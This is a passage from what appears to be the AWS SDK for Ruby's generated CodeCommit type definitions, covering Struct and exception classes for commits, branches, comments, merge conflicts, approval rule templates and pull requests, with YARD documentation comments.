# @note When making an API call, you may pass BatchDisassociateApprovalRuleTemplateFromRepositoriesInput
# data as a hash:
#
# {
# approval_rule_template_name: "ApprovalRuleTemplateName", # required
# repository_names: ["RepositoryName"], # required
# }
#
# @!attribute [rw] approval_rule_template_name
# The name of the template that you want to disassociate from one or
# more repositories.
# @return [String]
#
# @!attribute [rw] repository_names
# The repository names that you want to disassociate from the approval
# rule template.
#
# <note markdown="1"> The length constraint limit is for each string in the array. The
# array itself can be empty.
#
# </note>
# @return [Array<String>]
#
# @see http://docs.aws.amazon.com/goto/WebAPI/codecommit-2015-04-13/BatchDisassociateApprovalRuleTemplateFromRepositoriesInput AWS API Documentation
#
class BatchDisassociateApprovalRuleTemplateFromRepositoriesInput < Struct.new(
:approval_rule_template_name,
:repository_names)
SENSITIVE = []
include Aws::Structure
end
# @!attribute [rw] disassociated_repository_names
# A list of repository names that have had their association with the
# template removed.
# @return [Array<String>]
#
# @!attribute [rw] errors
# A list of any errors that might have occurred while attempting to
# remove the association between the template and the repositories.
# @return [Array<Types::BatchDisassociateApprovalRuleTemplateFromRepositoriesError>]
#
# @see http://docs.aws.amazon.com/goto/WebAPI/codecommit-2015-04-13/BatchDisassociateApprovalRuleTemplateFromRepositoriesOutput AWS API Documentation
#
class BatchDisassociateApprovalRuleTemplateFromRepositoriesOutput < Struct.new(
:disassociated_repository_names,
:errors)
SENSITIVE = []
include Aws::Structure
end
# Returns information about errors in a BatchGetCommits operation.
#
# @!attribute [rw] commit_id
# A commit ID that either could not be found or was not in a valid
# format.
# @return [String]
#
# @!attribute [rw] error_code
# An error code that specifies whether the commit ID was not valid or
# not found.
# @return [String]
#
# @!attribute [rw] error_message
# An error message that provides detail about why the commit ID either
# was not found or was not valid.
# @return [String]
#
# @see http://docs.aws.amazon.com/goto/WebAPI/codecommit-2015-04-13/BatchGetCommitsError AWS API Documentation
#
class BatchGetCommitsError < Struct.new(
:commit_id,
:error_code,
:error_message)
SENSITIVE = []
include Aws::Structure
end
# @note When making an API call, you may pass BatchGetCommitsInput
# data as a hash:
#
# {
# commit_ids: ["ObjectId"], # required
# repository_name: "RepositoryName", # required
# }
#
# @!attribute [rw] commit_ids
# The full commit IDs of the commits to get information about.
#
# <note markdown="1"> You must supply the full SHA IDs of each commit. You cannot use
# shortened SHA IDs.
#
# </note>
# @return [Array<String>]
#
# @!attribute [rw] repository_name
# The name of the repository that contains the commits.
# @return [String]
#
# @see http://docs.aws.amazon.com/goto/WebAPI/codecommit-2015-04-13/BatchGetCommitsInput AWS API Documentation
#
class BatchGetCommitsInput < Struct.new(
:commit_ids,
:repository_name)
SENSITIVE = []
include Aws::Structure
end
# @!attribute [rw] commits
# An array of commit data type objects, each of which contains
# information about a specified commit.
# @return [Array<Types::Commit>]
#
# @!attribute [rw] errors
# Returns any commit IDs for which information could not be found. For
# example, if one of the commit IDs was a shortened SHA ID or that
# commit was not found in the specified repository, the ID returns an
# error object with more information.
# @return [Array<Types::BatchGetCommitsError>]
#
# @see http://docs.aws.amazon.com/goto/WebAPI/codecommit-2015-04-13/BatchGetCommitsOutput AWS API Documentation
#
class BatchGetCommitsOutput < Struct.new(
:commits,
:errors)
SENSITIVE = []
include Aws::Structure
end
# Represents the input of a batch get repositories operation.
#
# @note When making an API call, you may pass BatchGetRepositoriesInput
# data as a hash:
#
# {
# repository_names: ["RepositoryName"], # required
# }
#
# @!attribute [rw] repository_names
# The names of the repositories to get information about.
#
# <note markdown="1"> The length constraint limit is for each string in the array. The
# array itself can be empty.
#
# </note>
# @return [Array<String>]
#
# @see http://docs.aws.amazon.com/goto/WebAPI/codecommit-2015-04-13/BatchGetRepositoriesInput AWS API Documentation
#
class BatchGetRepositoriesInput < Struct.new(
:repository_names)
SENSITIVE = []
include Aws::Structure
end
# Represents the output of a batch get repositories operation.
#
# @!attribute [rw] repositories
# A list of repositories returned by the batch get repositories
# operation.
# @return [Array<Types::RepositoryMetadata>]
#
# @!attribute [rw] repositories_not_found
# Returns a list of repository names for which information could not
# be found.
# @return [Array<String>]
#
# @see http://docs.aws.amazon.com/goto/WebAPI/codecommit-2015-04-13/BatchGetRepositoriesOutput AWS API Documentation
#
class BatchGetRepositoriesOutput < Struct.new(
:repositories,
:repositories_not_found)
SENSITIVE = []
include Aws::Structure
end
# The before commit ID and the after commit ID are the same, which is
# not valid. The before commit ID and the after commit ID must be
# different commit IDs.
#
# @see http://docs.aws.amazon.com/goto/WebAPI/codecommit-2015-04-13/BeforeCommitIdAndAfterCommitIdAreSameException AWS API Documentation
#
class BeforeCommitIdAndAfterCommitIdAreSameException < Aws::EmptyStructure; end
# The specified blob does not exist.
#
# @see http://docs.aws.amazon.com/goto/WebAPI/codecommit-2015-04-13/BlobIdDoesNotExistException AWS API Documentation
#
class BlobIdDoesNotExistException < Aws::EmptyStructure; end
# A blob ID is required, but was not specified.
#
# @see http://docs.aws.amazon.com/goto/WebAPI/codecommit-2015-04-13/BlobIdRequiredException AWS API Documentation
#
class BlobIdRequiredException < Aws::EmptyStructure; end
# Returns information about a specific Git blob object.
#
# @!attribute [rw] blob_id
# The full ID of the blob.
# @return [String]
#
# @!attribute [rw] path
# The path to the blob and associated file name, if any.
# @return [String]
#
# @!attribute [rw] mode
# The file mode permissions of the blob. File mode permission codes
# include:
#
# * `100644` indicates read/write
#
# * `100755` indicates read/write/execute
#
# * `160000` indicates a submodule
#
# * `120000` indicates a symlink
# @return [String]
#
# @see http://docs.aws.amazon.com/goto/WebAPI/codecommit-2015-04-13/BlobMetadata AWS API Documentation
#
class BlobMetadata < Struct.new(
:blob_id,
:path,
:mode)
SENSITIVE = []
include Aws::Structure
end
# The specified branch does not exist.
#
# @see http://docs.aws.amazon.com/goto/WebAPI/codecommit-2015-04-13/BranchDoesNotExistException AWS API Documentation
#
class BranchDoesNotExistException < Aws::EmptyStructure; end
# Returns information about a branch.
#
# @!attribute [rw] branch_name
# The name of the branch.
# @return [String]
#
# @!attribute [rw] commit_id
# The ID of the last commit made to the branch.
# @return [String]
#
# @see http://docs.aws.amazon.com/goto/WebAPI/codecommit-2015-04-13/BranchInfo AWS API Documentation
#
class BranchInfo < Struct.new(
:branch_name,
:commit_id)
SENSITIVE = []
include Aws::Structure
end
# The specified branch name already exists.
#
# @see http://docs.aws.amazon.com/goto/WebAPI/codecommit-2015-04-13/BranchNameExistsException AWS API Documentation
#
class BranchNameExistsException < Aws::EmptyStructure; end
# The specified branch name is not valid because it is a tag name. Enter
# the name of a branch in the repository. For a list of valid branch
# names, use ListBranches.
#
# @see http://docs.aws.amazon.com/goto/WebAPI/codecommit-2015-04-13/BranchNameIsTagNameException AWS API Documentation
#
class BranchNameIsTagNameException < Aws::EmptyStructure; end
# A branch name is required, but was not specified.
#
# @see http://docs.aws.amazon.com/goto/WebAPI/codecommit-2015-04-13/BranchNameRequiredException AWS API Documentation
#
class BranchNameRequiredException < Aws::EmptyStructure; end
# The approval rule cannot be deleted from the pull request because it
# was created by an approval rule template and applied to the pull
# request automatically.
#
# @see http://docs.aws.amazon.com/goto/WebAPI/codecommit-2015-04-13/CannotDeleteApprovalRuleFromTemplateException AWS API Documentation
#
class CannotDeleteApprovalRuleFromTemplateException < Aws::EmptyStructure; end
# The approval rule cannot be modified for the pull request because it
# was created by an approval rule template and applied to the pull
# request automatically.
#
# @see http://docs.aws.amazon.com/goto/WebAPI/codecommit-2015-04-13/CannotModifyApprovalRuleFromTemplateException AWS API Documentation
#
class CannotModifyApprovalRuleFromTemplateException < Aws::EmptyStructure; end
# A client request token is required. A client request token is an
# unique, client-generated idempotency token that, when provided in a
# request, ensures the request cannot be repeated with a changed
# parameter. If a request is received with the same parameters and a
# token is included, the request returns information about the initial
# request that used that token.
#
# @see http://docs.aws.amazon.com/goto/WebAPI/codecommit-2015-04-13/ClientRequestTokenRequiredException AWS API Documentation
#
class ClientRequestTokenRequiredException < Aws::EmptyStructure; end
# Returns information about a specific comment.
#
# @!attribute [rw] comment_id
# The system-generated comment ID.
# @return [String]
#
# @!attribute [rw] content
# The content of the comment.
# @return [String]
#
# @!attribute [rw] in_reply_to
# The ID of the comment for which this comment is a reply, if any.
# @return [String]
#
# @!attribute [rw] creation_date
# The date and time the comment was created, in timestamp format.
# @return [Time]
#
# @!attribute [rw] last_modified_date
# The date and time the comment was most recently modified, in
# timestamp format.
# @return [Time]
#
# @!attribute [rw] author_arn
# The Amazon Resource Name (ARN) of the person who posted the comment.
# @return [String]
#
# @!attribute [rw] deleted
# A Boolean value indicating whether the comment has been deleted.
# @return [Boolean]
#
# @!attribute [rw] client_request_token
# A unique, client-generated idempotency token that, when provided in
# a request, ensures the request cannot be repeated with a changed
# parameter. If a request is received with the same parameters and a
# token is included, the request returns information about the initial
# request that used that token.
# @return [String]
#
# @see http://docs.aws.amazon.com/goto/WebAPI/codecommit-2015-04-13/Comment AWS API Documentation
#
class Comment < Struct.new(
:comment_id,
:content,
:in_reply_to,
:creation_date,
:last_modified_date,
:author_arn,
:deleted,
:client_request_token)
SENSITIVE = []
include Aws::Structure
end
# The comment is empty. You must provide some content for a comment. The
# content cannot be null.
#
# @see http://docs.aws.amazon.com/goto/WebAPI/codecommit-2015-04-13/CommentContentRequiredException AWS API Documentation
#
class CommentContentRequiredException < Aws::EmptyStructure; end
# The comment is too large. Comments are limited to 1,000 characters.
#
# @see http://docs.aws.amazon.com/goto/WebAPI/codecommit-2015-04-13/CommentContentSizeLimitExceededException AWS API Documentation
#
class CommentContentSizeLimitExceededException < Aws::EmptyStructure; end
# This comment has already been deleted. You cannot edit or delete a
# deleted comment.
#
# @see http://docs.aws.amazon.com/goto/WebAPI/codecommit-2015-04-13/CommentDeletedException AWS API Documentation
#
class CommentDeletedException < Aws::EmptyStructure; end
# No comment exists with the provided ID. Verify that you have used the
# correct ID, and then try again.
#
# @see http://docs.aws.amazon.com/goto/WebAPI/codecommit-2015-04-13/CommentDoesNotExistException AWS API Documentation
#
class CommentDoesNotExistException < Aws::EmptyStructure; end
# The comment ID is missing or null. A comment ID is required.
#
# @see http://docs.aws.amazon.com/goto/WebAPI/codecommit-2015-04-13/CommentIdRequiredException AWS API Documentation
#
class CommentIdRequiredException < Aws::EmptyStructure; end
# You cannot modify or delete this comment. Only comment authors can
# modify or delete their comments.
#
# @see http://docs.aws.amazon.com/goto/WebAPI/codecommit-2015-04-13/CommentNotCreatedByCallerException AWS API Documentation
#
class CommentNotCreatedByCallerException < Aws::EmptyStructure; end
# Returns information about comments on the comparison between two
# commits.
#
# @!attribute [rw] repository_name
# The name of the repository that contains the compared commits.
# @return [String]
#
# @!attribute [rw] before_commit_id
# The full commit ID of the commit used to establish the before of the
# comparison.
# @return [String]
#
# @!attribute [rw] after_commit_id
# The full commit ID of the commit used to establish the after of the
# comparison.
# @return [String]
#
# @!attribute [rw] before_blob_id
# The full blob ID of the commit used to establish the before of the
# comparison.
# @return [String]
#
# @!attribute [rw] after_blob_id
# The full blob ID of the commit used to establish the after of the
# comparison.
# @return [String]
#
# @!attribute [rw] location
# Location information about the comment on the comparison, including
# the file name, line number, and whether the version of the file
# where the comment was made is BEFORE or AFTER.
# @return [Types::Location]
#
# @!attribute [rw] comments
# An array of comment objects. Each comment object contains
# information about a comment on the comparison between commits.
# @return [Array<Types::Comment>]
#
# @see http://docs.aws.amazon.com/goto/WebAPI/codecommit-2015-04-13/CommentsForComparedCommit AWS API Documentation
#
class CommentsForComparedCommit < Struct.new(
:repository_name,
:before_commit_id,
:after_commit_id,
:before_blob_id,
:after_blob_id,
:location,
:comments)
SENSITIVE = []
include Aws::Structure
end
# Returns information about comments on a pull request.
#
# @!attribute [rw] pull_request_id
# The system-generated ID of the pull request.
# @return [String]
#
# @!attribute [rw] repository_name
# The name of the repository that contains the pull request.
# @return [String]
#
# @!attribute [rw] before_commit_id
# The full commit ID of the commit that was the tip of the destination
# branch when the pull request was created. This commit is superceded
# by the after commit in the source branch when and if you merge the
# source branch into the destination branch.
# @return [String]
#
# @!attribute [rw] after_commit_id
# The full commit ID of the commit that was the tip of the source
# branch at the time the comment was made.
# @return [String]
#
# @!attribute [rw] before_blob_id
# The full blob ID of the file on which you want to comment on the
# destination commit.
# @return [String]
#
# @!attribute [rw] after_blob_id
# The full blob ID of the file on which you want to comment on the
# source commit.
# @return [String]
#
# @!attribute [rw] location
# Location information about the comment on the pull request,
# including the file name, line number, and whether the version of the
# file where the comment was made is BEFORE (destination branch) or
# AFTER (source branch).
# @return [Types::Location]
#
# @!attribute [rw] comments
# An array of comment objects. Each comment object contains
# information about a comment on the pull request.
# @return [Array<Types::Comment>]
#
# @see http://docs.aws.amazon.com/goto/WebAPI/codecommit-2015-04-13/CommentsForPullRequest AWS API Documentation
#
class CommentsForPullRequest < Struct.new(
:pull_request_id,
:repository_name,
:before_commit_id,
:after_commit_id,
:before_blob_id,
:after_blob_id,
:location,
:comments)
SENSITIVE = []
include Aws::Structure
end
# Returns information about a specific commit.
#
# @!attribute [rw] commit_id
# The full SHA ID of the specified commit.
# @return [String]
#
# @!attribute [rw] tree_id
# Tree information for the specified commit.
# @return [String]
#
# @!attribute [rw] parents
# A list of parent commits for the specified commit. Each parent
# commit ID is the full commit ID.
# @return [Array<String>]
#
# @!attribute [rw] message
# The commit message associated with the specified commit.
# @return [String]
#
# @!attribute [rw] author
# Information about the author of the specified commit. Information
# includes the date in timestamp format with GMT offset, the name of
# the author, and the email address for the author, as configured in
# Git.
# @return [Types::UserInfo]
#
# @!attribute [rw] committer
# Information about the person who committed the specified commit,
# also known as the committer. Information includes the date in
# timestamp format with GMT offset, the name of the committer, and the
# email address for the committer, as configured in Git.
#
# For more information about the difference between an author and a
# committer in Git, see [Viewing the Commit History][1] in Pro Git by
# Scott Chacon and Ben Straub.
#
#
#
# [1]: http://git-scm.com/book/ch2-3.html
# @return [Types::UserInfo]
#
# @!attribute [rw] additional_data
# Any other data associated with the specified commit.
# @return [String]
#
# @see http://docs.aws.amazon.com/goto/WebAPI/codecommit-2015-04-13/Commit AWS API Documentation
#
class Commit < Struct.new(
:commit_id,
:tree_id,
:parents,
:message,
:author,
:committer,
:additional_data)
SENSITIVE = []
include Aws::Structure
end
# The specified commit does not exist or no commit was specified, and
# the specified repository has no default branch.
#
# @see http://docs.aws.amazon.com/goto/WebAPI/codecommit-2015-04-13/CommitDoesNotExistException AWS API Documentation
#
class CommitDoesNotExistException < Aws::EmptyStructure; end
# The specified commit ID does not exist.
#
# @see http://docs.aws.amazon.com/goto/WebAPI/codecommit-2015-04-13/CommitIdDoesNotExistException AWS API Documentation
#
class CommitIdDoesNotExistException < Aws::EmptyStructure; end
# A commit ID was not specified.
#
# @see http://docs.aws.amazon.com/goto/WebAPI/codecommit-2015-04-13/CommitIdRequiredException AWS API Documentation
#
class CommitIdRequiredException < Aws::EmptyStructure; end
# The maximum number of allowed commit IDs in a batch request is 100.
# Verify that your batch requests contains no more than 100 commit IDs,
# and then try again.
#
# @see http://docs.aws.amazon.com/goto/WebAPI/codecommit-2015-04-13/CommitIdsLimitExceededException AWS API Documentation
#
class CommitIdsLimitExceededException < Aws::EmptyStructure; end
# A list of commit IDs is required, but was either not specified or the
# list was empty.
#
# @see http://docs.aws.amazon.com/goto/WebAPI/codecommit-2015-04-13/CommitIdsListRequiredException AWS API Documentation
#
class CommitIdsListRequiredException < Aws::EmptyStructure; end
# The commit message is too long. Provide a shorter string.
#
# @see http://docs.aws.amazon.com/goto/WebAPI/codecommit-2015-04-13/CommitMessageLengthExceededException AWS API Documentation
#
class CommitMessageLengthExceededException < Aws::EmptyStructure; end
# A commit was not specified.
#
# @see http://docs.aws.amazon.com/goto/WebAPI/codecommit-2015-04-13/CommitRequiredException AWS API Documentation
#
class CommitRequiredException < Aws::EmptyStructure; end
# The merge cannot be completed because the target branch has been
# modified. Another user might have modified the target branch while the
# merge was in progress. Wait a few minutes, and then try again.
#
# @see http://docs.aws.amazon.com/goto/WebAPI/codecommit-2015-04-13/ConcurrentReferenceUpdateException AWS API Documentation
#
class ConcurrentReferenceUpdateException < Aws::EmptyStructure; end
# Information about conflicts in a merge operation.
#
# @!attribute [rw] conflict_metadata
# Metadata about a conflict in a merge operation.
# @return [Types::ConflictMetadata]
#
# @!attribute [rw] merge_hunks
# A list of hunks that contain the differences between files or lines
# causing the conflict.
# @return [Array<Types::MergeHunk>]
#
# @see http://docs.aws.amazon.com/goto/WebAPI/codecommit-2015-04-13/Conflict AWS API Documentation
#
class Conflict < Struct.new(
:conflict_metadata,
:merge_hunks)
SENSITIVE = []
include Aws::Structure
end
# Information about the metadata for a conflict in a merge operation.
#
# @!attribute [rw] file_path
# The path of the file that contains conflicts.
# @return [String]
#
# @!attribute [rw] file_sizes
# The file sizes of the file in the source, destination, and base of
# the merge.
# @return [Types::FileSizes]
#
# @!attribute [rw] file_modes
# The file modes of the file in the source, destination, and base of
# the merge.
# @return [Types::FileModes]
#
# @!attribute [rw] object_types
# Information about any object type conflicts in a merge operation.
# @return [Types::ObjectTypes]
#
# @!attribute [rw] number_of_conflicts
# The number of conflicts, including both hunk conflicts and metadata
# conflicts.
# @return [Integer]
#
# @!attribute [rw] is_binary_file
# A boolean value (true or false) indicating whether the file is
# binary or textual in the source, destination, and base of the merge.
# @return [Types::IsBinaryFile]
#
# @!attribute [rw] content_conflict
# A boolean value indicating whether there are conflicts in the
# content of a file.
# @return [Boolean]
#
# @!attribute [rw] file_mode_conflict
# A boolean value indicating whether there are conflicts in the file
# mode of a file.
# @return [Boolean]
#
# @!attribute [rw] object_type_conflict
# A boolean value (true or false) indicating whether there are
# conflicts between the branches in the object type of a file, folder,
# or submodule.
# @return [Boolean]
#
# @!attribute [rw] merge_operations
# Whether an add, modify, or delete operation caused the conflict
# between the source and destination of the merge.
# @return [Types::MergeOperations]
#
# @see http://docs.aws.amazon.com/goto/WebAPI/codecommit-2015-04-13/ConflictMetadata AWS API Documentation
#
class ConflictMetadata < Struct.new(
:file_path,
:file_sizes,
:file_modes,
:object_types,
:number_of_conflicts,
:is_binary_file,
:content_conflict,
:file_mode_conflict,
:object_type_conflict,
:merge_operations)
SENSITIVE = []
include Aws::Structure
end
# If AUTOMERGE is the conflict resolution strategy, a list of inputs to
# use when resolving conflicts during a merge.
#
# @note When making an API call, you may pass ConflictResolution
# data as a hash:
#
# {
# replace_contents: [
# {
# file_path: "Path", # required
# replacement_type: "KEEP_BASE", # required, accepts KEEP_BASE, KEEP_SOURCE, KEEP_DESTINATION, USE_NEW_CONTENT
# content: "data",
# file_mode: "EXECUTABLE", # accepts EXECUTABLE, NORMAL, SYMLINK
# },
# ],
# delete_files: [
# {
# file_path: "Path", # required
# },
# ],
# set_file_modes: [
# {
# file_path: "Path", # required
# file_mode: "EXECUTABLE", # required, accepts EXECUTABLE, NORMAL, SYMLINK
# },
# ],
# }
#
# @!attribute [rw] replace_contents
# Files to have content replaced as part of the merge conflict
# resolution.
# @return [Array<Types::ReplaceContentEntry>]
#
# @!attribute [rw] delete_files
# Files to be deleted as part of the merge conflict resolution.
# @return [Array<Types::DeleteFileEntry>]
#
# @!attribute [rw] set_file_modes
# File modes that are set as part of the merge conflict resolution.
# @return [Array<Types::SetFileModeEntry>]
#
# @see http://docs.aws.amazon.com/goto/WebAPI/codecommit-2015-04-13/ConflictResolution AWS API Documentation
#
class ConflictResolution < Struct.new(
:replace_contents,
:delete_files,
:set_file_modes)
SENSITIVE = []
include Aws::Structure
end
# @note When making an API call, you may pass CreateApprovalRuleTemplateInput
# data as a hash:
#
# {
# approval_rule_template_name: "ApprovalRuleTemplateName", # required
# approval_rule_template_content: "ApprovalRuleTemplateContent", # required
# approval_rule_template_description: "ApprovalRuleTemplateDescription",
# }
#
# @!attribute [rw] approval_rule_template_name
# The name of the approval rule template. Provide descriptive names,
# because this name is applied to the approval rules created
# automatically in associated repositories.
# @return [String]
#
# @!attribute [rw] approval_rule_template_content
# The content of the approval rule that is created on pull requests in
# associated repositories. If you specify one or more destination
# references (branches), approval rules are created in an associated
# repository only if their destination references (branches) match
# those specified in the template.
#
# <note markdown="1"> When you create the content of the approval rule template, you can
# specify approvers in an approval pool in one of two ways:
#
# * **CodeCommitApprovers**\: This option only requires an AWS account
# and a resource. It can be used for both IAM users and federated
# access users whose name matches the provided resource name. This
# is a very powerful option that offers a great deal of flexibility.
# For example, if you specify the AWS account *123456789012* and
# *Mary\_Major*, all of the following are counted as approvals
# coming from that user:
#
# * An IAM user in the account
# (arn:aws:iam::*123456789012*\:user/*Mary\_Major*)
#
# * A federated user identified in IAM as Mary\_Major
# (arn:aws:sts::*123456789012*\:federated-user/*Mary\_Major*)
#
# This option does not recognize an active session of someone
# assuming the role of CodeCommitReview with a role session name of
# *Mary\_Major*
# (arn:aws:sts::*123456789012*\:assumed-role/CodeCommitReview/*Mary\_Major*)
# unless you include a wildcard (*Mary\_Major).
#
# * **Fully qualified ARN**\: This option allows you to specify the
# fully qualified Amazon Resource Name (ARN) of the IAM user or
# role.
#
# For more information about IAM ARNs, wildcards, and formats, see
# [IAM Identifiers][1] in the *IAM User Guide*.
#
# </note>
#
#
#
# [1]: https://docs.aws.amazon.com/iam/latest/UserGuide/reference_identifiers.html
# @return [String]
#
# @!attribute [rw] approval_rule_template_description
# The description of the approval rule template. Consider providing a
# description that explains what this template does and when it might
# be appropriate to associate it with repositories.
# @return [String]
#
# @see http://docs.aws.amazon.com/goto/WebAPI/codecommit-2015-04-13/CreateApprovalRuleTemplateInput AWS API Documentation
#
class CreateApprovalRuleTemplateInput < Struct.new(
:approval_rule_template_name,
:approval_rule_template_content,
:approval_rule_template_description)
SENSITIVE = []
include Aws::Structure
end
# @!attribute [rw] approval_rule_template
# The content and structure of the created approval rule template.
# @return [Types::ApprovalRuleTemplate]
#
# @see http://docs.aws.amazon.com/goto/WebAPI/codecommit-2015-04-13/CreateApprovalRuleTemplateOutput AWS API Documentation
#
class CreateApprovalRuleTemplateOutput < Struct.new(
:approval_rule_template)
SENSITIVE = []
include Aws::Structure
end
# Represents the input of a create branch operation.
#
# @note When making an API call, you may pass CreateBranchInput
# data as a hash:
#
# {
# repository_name: "RepositoryName", # required
# branch_name: "BranchName", # required
# commit_id: "CommitId", # required
# }
#
# @!attribute [rw] repository_name
# The name of the repository in which you want to create the new
# branch.
# @return [String]
#
# @!attribute [rw] branch_name
# The name of the new branch to create.
# @return [String]
#
# @!attribute [rw] commit_id
# The ID of the commit to point the new branch to.
# @return [String]
#
# @see http://docs.aws.amazon.com/goto/WebAPI/codecommit-2015-04-13/CreateBranchInput AWS API Documentation
#
class CreateBranchInput < Struct.new(
:repository_name,
:branch_name,
:commit_id)
SENSITIVE = []
include Aws::Structure
end
# @note When making an API call, you may pass CreateCommitInput
# data as a hash:
#
# {
# repository_name: "RepositoryName", # required
# branch_name: "BranchName", # required
# parent_commit_id: "CommitId",
# author_name: "Name",
# email: "Email",
# commit_message: "Message",
# keep_empty_folders: false,
# put_files: [
# {
# file_path: "Path", # required
# file_mode: "EXECUTABLE", # accepts EXECUTABLE, NORMAL, SYMLINK
# file_content: "data",
# source_file: {
# file_path: "Path", # required
# is_move: false,
# },
# },
# ],
# delete_files: [
# {
# file_path: "Path", # required
# },
# ],
# set_file_modes: [
# {
# file_path: "Path", # required
# file_mode: "EXECUTABLE", # required, accepts EXECUTABLE, NORMAL, SYMLINK
# },
# ],
# }
#
# @!attribute [rw] repository_name
# The name of the repository where you create the commit.
# @return [String]
#
# @!attribute [rw] branch_name
# The name of the branch where you create the commit.
# @return [String]
#
# @!attribute [rw] parent_commit_id
# The ID of the commit that is the parent of the commit you create.
# Not required if this is an empty repository.
# @return [String]
#
# @!attribute [rw] author_name
# The name of the author who created the commit. This information is
# used as both the author and committer for the commit.
# @return [String]
#
# @!attribute [rw] email
# The email address of the person who created the commit.
# @return [String]
#
# @!attribute [rw] commit_message
# The commit message you want to include in the commit. Commit
# messages are limited to 256 KB. If no message is specified, a
# default message is used.
# @return [String]
#
# @!attribute [rw] keep_empty_folders
# If the commit contains deletions, whether to keep a folder or folder
# structure if the changes leave the folders empty. If true, a
# ..gitkeep file is created for empty folders. The default is false.
# @return [Boolean]
#
# @!attribute [rw] put_files
# The files to add or update in this commit.
# @return [Array<Types::PutFileEntry>]
#
# @!attribute [rw] delete_files
# The files to delete in this commit. These files still exist in
# earlier commits.
# @return [Array<Types::DeleteFileEntry>]
#
# @!attribute [rw] set_file_modes
# The file modes to update for files in this commit.
# @return [Array<Types::SetFileModeEntry>]
#
# @see http://docs.aws.amazon.com/goto/WebAPI/codecommit-2015-04-13/CreateCommitInput AWS API Documentation
#
class CreateCommitInput < Struct.new(
:repository_name,
:branch_name,
:parent_commit_id,
:author_name,
:email,
:commit_message,
:keep_empty_folders,
:put_files,
:delete_files,
:set_file_modes)
SENSITIVE = []
include Aws::Structure
end
# @!attribute [rw] commit_id
# The full commit ID of the commit that contains your committed file
# changes.
# @return [String]
#
# @!attribute [rw] tree_id
# The full SHA-1 pointer of the tree information for the commit that
# contains the commited file changes.
# @return [String]
#
# @!attribute [rw] files_added
# The files added as part of the committed file changes.
# @return [Array<Types::FileMetadata>]
#
# @!attribute [rw] files_updated
# The files updated as part of the commited file changes.
# @return [Array<Types::FileMetadata>]
#
# @!attribute [rw] files_deleted
# The files deleted as part of the committed file changes.
# @return [Array<Types::FileMetadata>]
#
# @see http://docs.aws.amazon.com/goto/WebAPI/codecommit-2015-04-13/CreateCommitOutput AWS API Documentation
#
class CreateCommitOutput < Struct.new(
:commit_id,
:tree_id,
:files_added,
:files_updated,
:files_deleted)
SENSITIVE = []
include Aws::Structure
end
# @note When making an API call, you may pass CreatePullRequestApprovalRuleInput
# data as a hash:
#
# {
# pull_request_id: "PullRequestId", # required
# approval_rule_name: "ApprovalRuleName", # required
# approval_rule_content: "ApprovalRuleContent", # required
# }
#
# @!attribute [rw] pull_request_id
# The system-generated ID of the pull request for which you want to
# create the approval rule.
# @return [String]
#
# @!attribute [rw] approval_rule_name
# The name for the approval rule.
# @return [String]
#
# @!attribute [rw] approval_rule_content
# The content of the approval rule, including the number of approvals
# needed and the structure of an approval pool defined for approvals,
# if any. For more information about approval pools, see the AWS
# CodeCommit User Guide.
#
# <note markdown="1"> When you create the content of the approval rule, you can specify
# approvers in an approval pool in one of two ways:
#
# * **CodeCommitApprovers**\: This option only requires an AWS account
# and a resource. It can be used for both IAM users and federated
# access users whose name matches the provided resource name. This
# is a very powerful option that offers a great deal of flexibility.
# For example, if you specify the AWS account *123456789012* and
# *Mary\_Major*, all of the following would be counted as approvals
# coming from that user:
#
# * An IAM user in the account
# (arn:aws:iam::*123456789012*\:user/*Mary\_Major*)
#
# * A federated user identified in IAM as Mary\_Major
# (arn:aws:sts::*123456789012*\:federated-user/*Mary\_Major*)
#
# This option does not recognize an active session of someone
# assuming the role of CodeCommitReview with a role session name of
# *Mary\_Major*
# (arn:aws:sts::*123456789012*\:assumed-role/CodeCommitReview/*Mary\_Major*)
# unless you include a wildcard (*Mary\_Major).
#
# * **Fully qualified ARN**\: This option allows you to specify the
# fully qualified Amazon Resource Name (ARN) of the IAM user or
# role.
#
# For more information about IAM ARNs, wildcards, and formats, see
# [IAM Identifiers][1] in the *IAM User Guide*.
#
# </note>
#
#
#
# [1]: https://docs.aws.amazon.com/iam/latest/UserGuide/reference_identifiers.html
# @return [String]
#
# @see http://docs.aws.amazon.com/goto/WebAPI/codecommit-2015-04-13/CreatePullRequestApprovalRuleInput AWS API Documentation
#
class CreatePullRequestApprovalRuleInput < Struct.new(
:pull_request_id,
:approval_rule_name,
:approval_rule_content)
SENSITIVE = []
include Aws::Structure
end
# @!attribute [rw] approval_rule
# Information about the created approval rule.
# @return [Types::ApprovalRule]
#
# @see http://docs.aws.amazon.com/goto/WebAPI/codecommit-2015-04-13/CreatePullRequestApprovalRuleOutput AWS API Documentation
#
class CreatePullRequestApprovalRuleOutput < Struct.new(
:approval_rule)
SENSITIVE = []
include Aws::Structure
end
# @note When making an API call, you may pass CreatePullRequestInput
# data as a hash:
#
# {
# title: "Title", # required
# description: "Description",
# targets: [ # required
# {
# repository_name: "RepositoryName", # required
# source_reference: "ReferenceName", # required
# destination_reference: "ReferenceName",
# },
# ],
# client_request_token: "ClientRequestToken",
# }
#
# @!attribute [rw] title
# The title of the pull request. This title is used to identify the
# pull request to other users in the repository.
# @return [String]
#
# @!attribute [rw] description
# A description of the pull request.
# @return [String]
#
# @!attribute [rw] targets
# The targets for the pull request, including the source of the code
# to be reviewed (the source branch) and the destination where the
# creator of the pull request intends the code to be merged after the
# pull request is closed (the destination branch).
# @return [Array<Types::Target>]
#
# @!attribute [rw] client_request_token
# A unique, client-generated idempotency token that, when provided in
# a request, ensures the request cannot be repeated with a changed
# parameter. If a request is received with the same parameters and a
# token is included, the request returns information about the initial
# request that used that token.
#
# <note markdown="1"> The AWS SDKs prepopulate client request tokens. If you are using an
# AWS SDK, an idempotency token is created for you.
#
# </note>
#
# **A suitable default value is auto-generated.** You should normally
# not need to pass this option.
# @return [String]
#
# @see http://docs.aws.amazon.com/goto/WebAPI/codecommit-2015-04-13/CreatePullRequestInput AWS API Documentation
#
class CreatePullRequestInput < Struct.new(
:title,
:description,
:targets,
:client_request_token)
SENSITIVE = []
include Aws::Structure
end
# @!attribute [rw] pull_request
# Information about the newly created pull request.
# @return [Types::PullRequest]
#
# @see http://docs.aws.amazon.com/goto/WebAPI/codecommit-2015-04-13/CreatePullRequestOutput AWS API Documentation
#
class CreatePullRequestOutput < Struct.new(
:pull_request)
SENSITIVE = []
include Aws::Structure
end
# Represents the input of a create repository operation.
#
# @note When making an API call, you may pass CreateRepositoryInput
# data as a hash:
#
# {
# repository_name: "RepositoryName", # required
# repository_description: "RepositoryDescription",
# tags: {
